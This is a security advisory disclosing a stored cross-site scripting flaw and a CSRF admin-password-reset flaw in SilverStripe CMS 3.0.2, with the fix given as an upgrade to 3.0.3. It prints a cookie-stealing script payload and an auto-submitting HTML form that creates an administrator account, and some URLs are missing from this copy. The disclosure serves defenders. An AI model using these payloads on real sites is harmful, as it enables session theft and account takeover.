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Sense of Security – Security Advisory – SOS-12-011 – SilverStripe CMS Multiple Vulnerabilities


Sense of Security – Security Advisory – SOS-12-011

Release Date. 30-Nov-2012
Last Update.
Vendor Notification Date. 29-Oct-2012
Product. SilverStripe CMS
Platform. Windows
Affected versions. 3.0.2
Severity Rating. Medium
Impact. Privilege escalation
Cross-Site Scripting
Attack Vector. Remote with authentication
Solution Status. Upgrade to version 3.0.3
CVE reference. CVE- Not yet assigned



SilverStripe CMS is an open source web content management system used to build websites, intranets, and web applications. SilverStripe is vulnerable to a stored Cross-Site Scripting (XSS) vulnerability and Cross-Site Request Forgeries (CSRF).


Stored XSS:

The site title field in the configuration page fails to securely output encode stored values. As a result, an authenticated attacker can trigger the application to store a malicious string by entering the values into the site title field. When a user visits the web site, the malicious code will be executed in the client browser.


Proof of Concept XSS:

Enter the below into the site title field:

<script>document.location="" + document.cookie</script>


When any user visits the web site the above client-side code will be

executed in the client browser to steal their cookie. The following

page is vulnerable:



The privilege escalation is possible because the form used to change user account passwords does not require the user to confirm their current password and is vulnerable to CSRF. An attacker can reset an

Administrator password by creating a malicious web site that sends a POST request to change the current user�s password while they are logged into the CMS. This vulnerability can be combined with the above

XSS to force the user to visit the malicious web site as soon as the user logs into the CMS. The only item required to create the CSRF is the SecurityID value which can be extracted from many pages in the CMS.

After sending the request the attacker can login as a new Administrator with the credentials detailed below.


Proof of Concept CSRF:

Example CSRF Request to create a new admin user with limited CSRF protection enabled:

<body onLoad=javascript:document.form.submit()>
<form action="
name="form" method="POST">
<input type="text" name="FirstName" value="Alan">
<input type="text" name="LastName" value="Jackson">
<input type="text" name="Email" value="[email protected]">
<input type="text" name=" Password[_Password]" value="Squash!">
<input type="text" name=" Password[_ConfirmPassword]" value="Squash!">
<input type="text" name="Locale" value="en_GB">
<input type="text" name="SecurityID" value="528475a4e3c260bdffa3046c2b">
<input type="text" name="action_doSave" value="1">



Upgrade to version 3.0.3.


Discovered by.

Nathaniel Carew from Sense of Security Labs.